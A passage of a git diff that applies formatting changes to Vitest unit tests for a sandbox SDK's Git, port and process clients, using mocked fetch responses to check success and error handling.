{ status: 401 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Authentication failed', + code: 'GIT_AUTH_FAILED' + }), + { status: 401 } + ) + ); - await expect(client.checkout('https://github.com/company/private.git', 'test-session')) - .rejects.toThrow(GitAuthenticationError); + await expect( + client.checkout( + 'https://github.com/company/private.git', + 'test-session' + ) + ).rejects.toThrow(GitAuthenticationError); }); it('should handle branch not found errors', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Branch not found', code: 'GIT_BRANCH_NOT_FOUND' }), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Branch not found', + code: 'GIT_BRANCH_NOT_FOUND' + }), + { status: 404 } + ) + ); - await expect(client.checkout( - 'https://github.com/user/repo.git', - 'test-session', - { branch: 'nonexistent-branch' } - )).rejects.toThrow(GitBranchNotFoundError); + await expect( + client.checkout('https://github.com/user/repo.git', 'test-session', { + branch: 'nonexistent-branch' + }) + ).rejects.toThrow(GitBranchNotFoundError); }); it('should handle network errors', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Network error', code: 'GIT_NETWORK_ERROR' }), - { status: 503 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ error: 'Network error', code: 'GIT_NETWORK_ERROR' }), + { status: 503 } + ) + ); - await expect(client.checkout('https://github.com/user/repo.git', 'test-session')) - .rejects.toThrow(GitNetworkError); + await expect( + client.checkout('https://github.com/user/repo.git', 'test-session') + ).rejects.toThrow(GitNetworkError); }); it('should handle clone failures', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Clone failed', code: 'GIT_CLONE_FAILED' }), - { status: 507 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ error: 'Clone failed', code: 'GIT_CLONE_FAILED' }), + { status: 507 } + ) + ); - await expect(client.checkout('https://github.com/large/repository.git', 'test-session')) - .rejects.toThrow(GitCloneError); + await expect( + client.checkout( + 'https://github.com/large/repository.git', + 'test-session' + ) + ).rejects.toThrow(GitCloneError); }); it('should handle checkout failures', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Checkout failed', code: 'GIT_CHECKOUT_FAILED' }), - { status: 409 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Checkout failed', + code: 'GIT_CHECKOUT_FAILED' + }), + { status: 409 } + ) + ); - await expect(client.checkout( - 'https://github.com/user/repo.git', - 'test-session', - { branch: 'feature-branch' } - )).rejects.toThrow(GitCheckoutError); + await expect( + client.checkout('https://github.com/user/repo.git', 'test-session', { + branch: 'feature-branch' + }) + ).rejects.toThrow(GitCheckoutError); }); it('should handle invalid Git URLs', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Invalid Git URL', code: 'INVALID_GIT_URL' }), - { status: 400 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ error: 'Invalid Git URL', code: 'INVALID_GIT_URL' }), + { status: 400 } + ) + ); - await expect(client.checkout('not-a-valid-url', 'test-session')) - .rejects.toThrow(InvalidGitUrlError); + await expect( + client.checkout('not-a-valid-url', 'test-session') + ).rejects.toThrow(InvalidGitUrlError); }); it('should handle partial clone failures', async () => { const mockResponse: GitCheckoutResponse = { success: false, - stdout: 'Cloning into \'repo\'...\nReceiving objects: 45% (450/1000)', + stdout: "Cloning into 'repo'...\nReceiving objects: 45% (450/1000)", stderr: 'error: RPC failed\nfatal: early EOF', exitCode: 128, repoUrl: 'https://github.com/problematic/repo.git', branch: 'main', targetDir: 'repo', - timestamp: '2023-01-01T00:01:30Z', + timestamp: '2023-01-01T00:01:30Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.checkout('https://github.com/problematic/repo.git', 'test-session'); + const result = await client.checkout( + 'https://github.com/problematic/repo.git', + 'test-session' + ); expect(result.success).toBe(false); expect(result.exitCode).toBe(128); @@ -278,35 +350,50 @@ describe('GitClient', () => { it('should handle network failures', async () => { mockFetch.mockRejectedValue(new Error('Network connection failed')); - await expect(client.checkout('https://github.com/user/repo.git', 'test-session')) - .rejects.toThrow('Network connection failed'); + await expect( + client.checkout('https://github.com/user/repo.git', 'test-session') + ).rejects.toThrow('Network connection failed'); }); it('should handle malformed server responses', async () => { - mockFetch.mockResolvedValue(new Response('invalid json {', { status: 200 })); + mockFetch.mockResolvedValue( + new Response('invalid json {', { status: 200 }) + ); - await expect(client.checkout('https://github.com/user/repo.git', 'test-session')) - .rejects.toThrow(SandboxError); + await expect( + client.checkout('https://github.com/user/repo.git', 'test-session') + ).rejects.toThrow(SandboxError); }); it('should map server errors to client errors', async () => { const serverErrorScenarios = [ { status: 400, code: 'INVALID_GIT_URL', error: InvalidGitUrlError }, { status: 401, code: 'GIT_AUTH_FAILED', error: GitAuthenticationError }, - { status: 404, code: 'GIT_REPOSITORY_NOT_FOUND', error: GitRepositoryNotFoundError }, - { status: 404, code: 'GIT_BRANCH_NOT_FOUND', error: GitBranchNotFoundError }, + { + status: 404, + code: 'GIT_REPOSITORY_NOT_FOUND', + error: GitRepositoryNotFoundError + }, + { + status: 404, + code: 'GIT_BRANCH_NOT_FOUND', + error: GitBranchNotFoundError + }, { status: 500, code: 'GIT_OPERATION_FAILED', error: GitError }, - { status: 503, code: 'GIT_NETWORK_ERROR', error: GitNetworkError }, + { status: 503, code: 'GIT_NETWORK_ERROR', error: GitNetworkError } ]; for (const scenario of serverErrorScenarios) { - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify({ error: 'Test error', code: scenario.code }), - { status: scenario.status } - )); - - await expect(client.checkout('https://github.com/test/repo.git', 'test-session')) - .rejects.toThrow(scenario.error); + mockFetch.mockResolvedValueOnce( + new Response( + JSON.stringify({ error: 'Test error', code: scenario.code }), + { status: scenario.status } + ) + ); + + await expect( + client.checkout('https://github.com/test/repo.git', 'test-session') + ).rejects.toThrow(scenario.error); } }); }); @@ -320,7 +407,7 @@ describe('GitClient', () => { it('should initialize with full options', () => { const fullOptionsClient = new GitClient({ baseUrl: 'http://custom.com', - port: 8080, + port: 8080 }); expect(fullOptionsClient).toBeInstanceOf(GitClient); }); diff --git a/packages/sandbox/tests/port-client.test.ts b/packages/sandbox/tests/port-client.test.ts index bcff0938..1da988e9 100644 --- a/packages/sandbox/tests/port-client.test.ts +++ b/packages/sandbox/tests/port-client.test.ts @@ -1,8 +1,8 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import type { - ExposePortResponse, +import type { + ExposePortResponse, GetExposedPortsResponse, - UnexposePortResponse + UnexposePortResponse } from '../src/clients'; import { PortClient } from '../src/clients/port-client'; import { @@ -11,7 +11,7 @@ import { PortError, PortInUseError, PortNotExposedError, - SandboxError, + SandboxError, ServiceNotRespondingError } from '../src/errors'; @@ -21,13 +21,13 @@ describe('PortClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; - + client = new PortClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); }); @@ -42,13 +42,12 @@ describe('PortClient', () => { port: 3001, exposedAt: 'https://preview-abc123.workers.dev', name: 'web-server', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.exposePort(3001, 'session-123', 'web-server'); @@ -65,13 +64,12 @@ describe('PortClient', () => { port: 8080, exposedAt: 'https://api-def456.workers.dev', name: 'api-server', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.exposePort(8080, 'session-456', 'api-server'); @@ -86,13 +84,12 @@ describe('PortClient', () => { success: true, port: 5000, exposedAt: 'https://service-ghi789.workers.dev', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.exposePort(5000, 'session-789'); @@ -101,7 +98,6 @@ describe('PortClient', () => { expect(result.name).toBeUndefined(); expect(result.exposedAt).toBeDefined(); }); - }); describe('service management', () => { @@ -112,35 +108,34 @@ describe('PortClient', () => { { port: 3000, exposedAt: 'https://frontend-abc123.workers.dev', - name: 'frontend', + name: 'frontend' }, { port: 4000, exposedAt: 'https://api-def456.workers.dev', - name: 'api', + name: 'api' }, { port: 5432, exposedAt: 'https://db-ghi789.workers.dev', - name: 'database', + name: 'database' } ], count: 3, - timestamp: '2023-01-01T00:10:00Z', + timestamp: '2023-01-01T00:10:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getExposedPorts('session-list'); expect(result.success).toBe(true); expect(result.count).toBe(3); expect(result.ports).toHaveLength(3); - - result.ports.forEach(service => { + + result.ports.forEach((service) => { expect(service.exposedAt).toContain('.workers.dev'); expect(service.port).toBeGreaterThan(0); expect(service.name).toBeDefined(); @@ -152,13 +147,12 @@ describe('PortClient', () => { success: true, ports: [], count: 0, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getExposedPorts('session-empty'); @@ -171,20 +165,18 @@ describe('PortClient', () => { const mockResponse: UnexposePortResponse = { success: true, port: 3001, - timestamp: '2023-01-01T00:15:00Z', + timestamp: '2023-01-01T00:15:00Z' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.unexposePort(3001, 'session-unexpose'); expect(result.success).toBe(true); expect(result.port).toBe(3001); }); - }); describe('port validation and error handling', () => { @@ -193,14 +185,14 @@ describe('PortClient', () => { error: 'Port already exposed: 3000', code: 'PORT_ALREADY_EXPOSED' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 409 } - )); - - await expect(client.exposePort(3000, 'session-err')) - .rejects.toThrow(PortAlreadyExposedError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 409 }) + ); + + await expect(client.exposePort(3000, 'session-err')).rejects.toThrow( + PortAlreadyExposedError + ); }); it('should handle invalid port numbers', async () => { @@ -208,14 +200,14 @@ describe('PortClient', () => { error: 'Invalid port number: 0', code: 'INVALID_PORT_NUMBER' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 400 } - )); - - await expect(client.exposePort(0, 'session-err')) - .rejects.toThrow(InvalidPortError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 400 }) + ); + + await expect(client.exposePort(0, 'session-err')).rejects.toThrow( + InvalidPortError + ); }); it('should handle port in use errors', async () => { @@ -223,14 +215,14 @@ describe('PortClient', () => { error: 'Port in use: 3000 is already bound by another process', code: 'PORT_IN_USE' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 409 } - )); - - await expect(client.exposePort(3000, 'session-err')) - .rejects.toThrow(PortInUseError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 409 }) + ); + + await expect(client.exposePort(3000, 'session-err')).rejects.toThrow( + PortInUseError + ); }); it('should handle service not responding errors', async () => { @@ -238,14 +230,14 @@ describe('PortClient', () => { error: 'Service not responding on port 8080', code: 'SERVICE_NOT_RESPONDING' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 503 } - )); - - await expect(client.exposePort(8080, 'session-err')) - .rejects.toThrow(ServiceNotRespondingError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 503 }) + ); + + await expect(client.exposePort(8080, 'session-err')).rejects.toThrow( + ServiceNotRespondingError + ); }); it('should handle unexpose non-existent port', async () => { @@ -253,14 +245,14 @@ describe('PortClient', () => { error: 'Port not exposed: 9999', code: 'PORT_NOT_EXPOSED' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); - - await expect(client.unexposePort(9999, 'session-err')) - .rejects.toThrow(PortNotExposedError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); + + await expect(client.unexposePort(9999, 'session-err')).rejects.toThrow( + PortNotExposedError + ); }); it('should handle port operation failures', async () => { @@ -268,14 +260,14 @@ describe('PortClient', () => { error: 'Port operation failed: unable to setup proxy', code: 'PORT_OPERATION_ERROR' }; - - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 500 } - )); - - await expect(client.exposePort(3000, 'session-err')) - .rejects.toThrow(PortError); + + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 500 }) + ); + + await expect(client.exposePort(3000, 'session-err')).rejects.toThrow( + PortError + ); }); }); @@ -283,19 +275,19 @@ describe('PortClient', () => { it('should handle network failures gracefully', async () => { mockFetch.mockRejectedValue(new Error('Network connection failed')); - await expect(client.exposePort(3000, 'session-net')) - .rejects.toThrow('Network connection failed'); + await expect(client.exposePort(3000, 'session-net')).rejects.toThrow( + 'Network connection failed' + ); }); it('should handle malformed server responses', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { status: 200 }) + ); - await expect(client.exposePort(3000, 'session-malform')) - .rejects.toThrow(SandboxError); + await expect(client.exposePort(3000, 'session-malform')).rejects.toThrow( + SandboxError + ); }); - }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/process-client.test.ts b/packages/sandbox/tests/process-client.test.ts index fef9608f..85a5dfac 100644 --- a/packages/sandbox/tests/process-client.test.ts +++ b/packages/sandbox/tests/process-client.test.ts @@ -21,13 +21,13 @@ describe('ProcessClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; - + client = new ProcessClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); }); @@ -44,15 +44,14 @@ describe('ProcessClient', () => { command: 'npm run dev', status: 'running', pid: 12345, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.startProcess('npm run dev', 'session-123'); @@ -71,17 +70,18 @@ describe('ProcessClient', () => { command: 'python app.py', status: 'running', pid: 54321, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.startProcess('python app.py', 'session-456', { processId: 'my-api-server' }); + const result = await client.startProcess('python app.py', 'session-456', { + processId: 'my-api-server' + }); expect(result.success).toBe(true); expect(result.process.id).toBe('my-api-server'); @@ -97,21 +97,28 @@ describe('ProcessClient', () => { command: 'docker run postgres', status: 'running', pid: 99999, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, - timestamp: '2023-01-01T00:00:05Z', + timestamp: '2023-01-01T00:00:05Z' }; - mockFetch.mockImplementation(() => - new Promise(resolve => - setTimeout(() => resolve(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )), 100) - ) + mockFetch.mockImplementation( + () => + new Promise((resolve) => + setTimeout( + () => + resolve( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ), + 100 + ) + ) ); - const result = await client.startProcess('docker run postgres', 'session-789'); + const result = await client.startProcess( + 'docker run postgres', + 'session-789' + ); expect(result.success).toBe(true); expect(result.process.status).toBe('running'); @@ -124,13 +131,13 @@ describe('ProcessClient', () => { code: 'COMMAND_NOT_FOUND' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.startProcess('invalidcmd', 'session-err')) - .rejects.toThrow(CommandNotFoundError); + await expect( + client.startProcess('invalidcmd', 'session-err') + ).rejects.toThrow(CommandNotFoundError); }); it('should handle process startup failures', async () => { @@ -139,13 +146,13 @@ describe('ProcessClient', () => { code: 'PROCESS_ERROR' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 500 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 500 }) + ); - await expect(client.startProcess('sudo privileged-command', 'session-err')) - .rejects.toThrow(ProcessError); + await expect( + client.startProcess('sudo privileged-command', 'session-err') + ).rejects.toThrow(ProcessError); }); }); @@ -159,14 +166,14 @@ describe('ProcessClient', () => { command: 'npm run dev', status: 'running', pid: 12345, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, { id: 'proc-api', command: 'python api.py', status: 'running', pid: 12346, - startTime: '2023-01-01T00:00:30Z', + startTime: '2023-01-01T00:00:30Z' }, { id: 'proc-worker', @@ -175,17 +182,16 @@ describe('ProcessClient', () => { pid: 12347, exitCode: 0, startTime: '2023-01-01T00:01:00Z', - endTime: '2023-01-01T00:05:00Z', + endTime: '2023-01-01T00:05:00Z' } ], count: 3, - timestamp: '2023-01-01T00:05:30Z', + timestamp: '2023-01-01T00:05:30Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.listProcesses('session-list'); @@ -193,12 +199,16 @@ describe('ProcessClient', () => { expect(result.count).toBe(3); expect(result.processes).toHaveLength(3); - const runningProcesses = result.processes.filter(p => p.status === 'running'); + const runningProcesses = result.processes.filter( + (p) => p.status === 'running' + ); expect(runningProcesses).toHaveLength(2); expect(runningProcesses[0].pid).toBeDefined(); expect(runningProcesses[1].pid).toBeDefined(); - const completedProcess = result.processes.find(p => p.status === 'completed'); + const completedProcess = result.processes.find( + (p) => p.status === 'completed' + ); expect(completedProcess?.exitCode).toBe(0); expect(completedProcess?.endTime).toBeDefined(); }); @@ -211,15 +221,14 @@ describe('ProcessClient', () => { command: 'python analytics.py --batch-size=1000', status: 'running', pid: 98765, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, - timestamp: '2023-01-01T00:10:00Z', + timestamp: '2023-01-01T00:10:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getProcess('proc-analytics', 'session-get'); @@ -236,13 +245,13 @@ describe('ProcessClient', () => { code: 'PROCESS_NOT_FOUND' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.getProcess('nonexistent-proc', 'session-err')) - .rejects.toThrow(ProcessNotFoundError); + await expect( + client.getProcess('nonexistent-proc', 'session-err') + ).rejects.toThrow(ProcessNotFoundError); }); it('should handle empty process list', async () => { @@ -250,13 +259,12 @@ describe('ProcessClient', () => { success: true, processes: [], count: 0, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.listProcesses('session-list'); @@ -271,13 +279,12 @@ describe('ProcessClient', () => { const mockResponse: KillProcessResponse = { success: true, message: 'Process proc-web killed successfully', - timestamp: '2023-01-01T00:10:00Z', + timestamp: '2023-01-01T00:10:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.killProcess('proc-web', 'session-kill'); @@ -292,13 +299,13 @@ describe('ProcessClient', () => { code: 'PROCESS_NOT_FOUND' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.killProcess('already-dead-proc', 'session-err')) - .rejects.toThrow(ProcessNotFoundError); + await expect( + client.killProcess('already-dead-proc', 'session-err') + ).rejects.toThrow(ProcessNotFoundError); }); it('should kill all processes at once', async () => { @@ -306,13 +313,12 @@ describe('ProcessClient', () => { success: true, killedCount: 5, message: 'All 5 processes killed successfully', - timestamp: '2023-01-01T00:15:00Z', + timestamp: '2023-01-01T00:15:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.killAllProcesses('session-killall'); @@ -326,13 +332,12 @@ describe('ProcessClient', () => { success: true, killedCount: 0, message: 'No processes to kill', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.killAllProcesses('session-killall'); @@ -347,13 +352,13 @@ describe('ProcessClient', () => { code: 'PROCESS_ERROR' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 500 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 500 }) + ); - await expect(client.killProcess('protected-proc', 'session-err')) - .rejects.toThrow(ProcessError); + await expect( + client.killProcess('protected-proc', 'session-err') + ).rejects.toThrow(ProcessError); }); }); @@ -370,13 +375,12 @@ describe('ProcessClient', () => { [INFO] Response: 200 OK`, stderr: `[WARN] Deprecated function used in auth.js:45 [WARN] High memory usage: 85%`, - timestamp: '2023-01-01T00:10:00Z', + timestamp: '2023-01-01T00:10:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getProcessLogs('proc-server', 'session-logs'); @@ -394,13 +398,13 @@ describe('ProcessClient', () => { code: 'PROCESS_NOT_FOUND' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.getProcessLogs('missing-proc', 'session-err')) - .rejects.toThrow(ProcessNotFoundError); + await expect( + client.getProcessLogs('missing-proc', 'session-err') + ).rejects.toThrow(ProcessNotFoundError); }); it('should retrieve logs for processes with large output', async () => { @@ -412,13 +416,12 @@ describe('ProcessClient', () => { processId: 'proc-batch', stdout: largeStdout, stderr: largeStderr, - timestamp: '2023-01-01T00:30:00Z', + timestamp: '2023-01-01T00:30:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getProcessLogs('proc-batch', 'session-logs'); @@ -435,13 +438,12 @@ describe('ProcessClient', () => { processId: 'proc-silent', stdout: '', stderr: '', - timestamp: '2023-01-01T00:05:00Z', + timestamp: '2023-01-01T00:05:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.getProcessLogs('proc-silent', 'session-logs'); @@ -471,12 +473,17 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 } }); - mockFetch.mockResolvedValue(new Response(mockStream, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(mockStream, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - const stream = await client.streamProcessLogs('proc-realtime', 'session-stream'); + const stream = await client.streamProcessLogs( + 'proc-realtime', + 'session-stream' + ); expect(stream).toBeInstanceOf(ReadableStream); @@ -506,13 +513,13 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 code: 'PROCESS_NOT_FOUND' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.streamProcessLogs('stream-missing', 'session-err')) - .rejects.toThrow(ProcessNotFoundError); + await expect( + client.streamProcessLogs('stream-missing', 'session-err') + ).rejects.toThrow(ProcessNotFoundError); }); it('should handle streaming setup failures', async () => { @@ -521,23 +528,26 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 code: 'PROCESS_ERROR' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 500 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 500 }) + ); - await expect(client.streamProcessLogs('proc-no-logs', 'session-err')) - .rejects.toThrow(ProcessError); + await expect( + client.streamProcessLogs('proc-no-logs', 'session-err') + ).rejects.toThrow(ProcessError); }); it('should handle missing stream body', async () => { - mockFetch.mockResolvedValue(new Response(null, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(null, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - await expect(client.streamProcessLogs('proc-empty-stream', 'session-err')) - .rejects.toThrow('No response body for streaming'); + await expect( + client.streamProcessLogs('proc-empty-stream', 'session-err') + ).rejects.toThrow('No response body for streaming'); }); }); @@ -550,17 +560,19 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 command: 'echo session-test', status: 'running', pid: 11111, - startTime: '2023-01-01T00:00:00Z', + startTime: '2023-01-01T00:00:00Z' }, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.startProcess('echo session-test', 'session-test'); + const result = await client.startProcess( + 'echo session-test', + 'session-test' + ); expect(result.success).toBe(true); @@ -575,32 +587,44 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 it('should handle multiple simultaneous process operations', async () => { mockFetch.mockImplementation((url: string, options: RequestInit) => { if (url.includes('/start')) { - return Promise.resolve(new Response(JSON.stringify({ - success: true, - process: { - id: `proc-${Date.now()}`, - command: JSON.parse(options.body as string).command, - status: 'running', - pid: Math.floor(Math.random() * 90000) + 10000, - startTime: new Date().toISOString(), - }, - timestamp: new Date().toISOString(), - }))); + return Promise.resolve( + new Response( + JSON.stringify({ + success: true, + process: { + id: `proc-${Date.now()}`, + command: JSON.parse(options.body as string).command, + status: 'running', + pid: Math.floor(Math.random() * 90000) + 10000, + startTime: new Date().toISOString() + }, + timestamp: new Date().toISOString() + }) + ) + ); } else if (url.includes('/list')) { - return Promise.resolve(new Response(JSON.stringify({ - success: true, - processes: [], - count: 0, - timestamp: new Date().toISOString(), - }))); + return Promise.resolve( + new Response( + JSON.stringify({ + success: true, + processes: [], + count: 0, + timestamp: new Date().toISOString() + }) + ) + ); } else if (url.includes('/logs')) { - return Promise.resolve(new Response(JSON.stringify({ - success: true, - processId: url.split('/')[4], - stdout: 'log output', - stderr: '', - timestamp: new Date().toISOString(), - }))); + return Promise.resolve( + new Response( + JSON.stringify({ + success: true, + processId: url.split('/')[4], + stdout: 'log output', + stderr: '', + timestamp: new Date().toISOString() + }) + ) + ); } return Promise.resolve(new Response('{}', { status: 200 })); }); @@ -610,11 +634,11 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 client.startProcess('python api.py', 'session-concurrent'), client.listProcesses('session-concurrent'), client.getProcessLogs('existing-proc', 'session-concurrent'), - client.startProcess('node worker.js', 'session-concurrent'), + client.startProcess('node worker.js', 'session-concurrent') ]); expect(operations).toHaveLength(5); - operations.forEach(result => { + operations.forEach((result) => { expect(result.success).toBe(true); }); @@ -626,18 +650,19 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 it('should handle network failures gracefully', async () => { mockFetch.mockRejectedValue(new Error('Network connection failed')); - await expect(client.listProcesses('session-err')) - .rejects.toThrow('Network connection 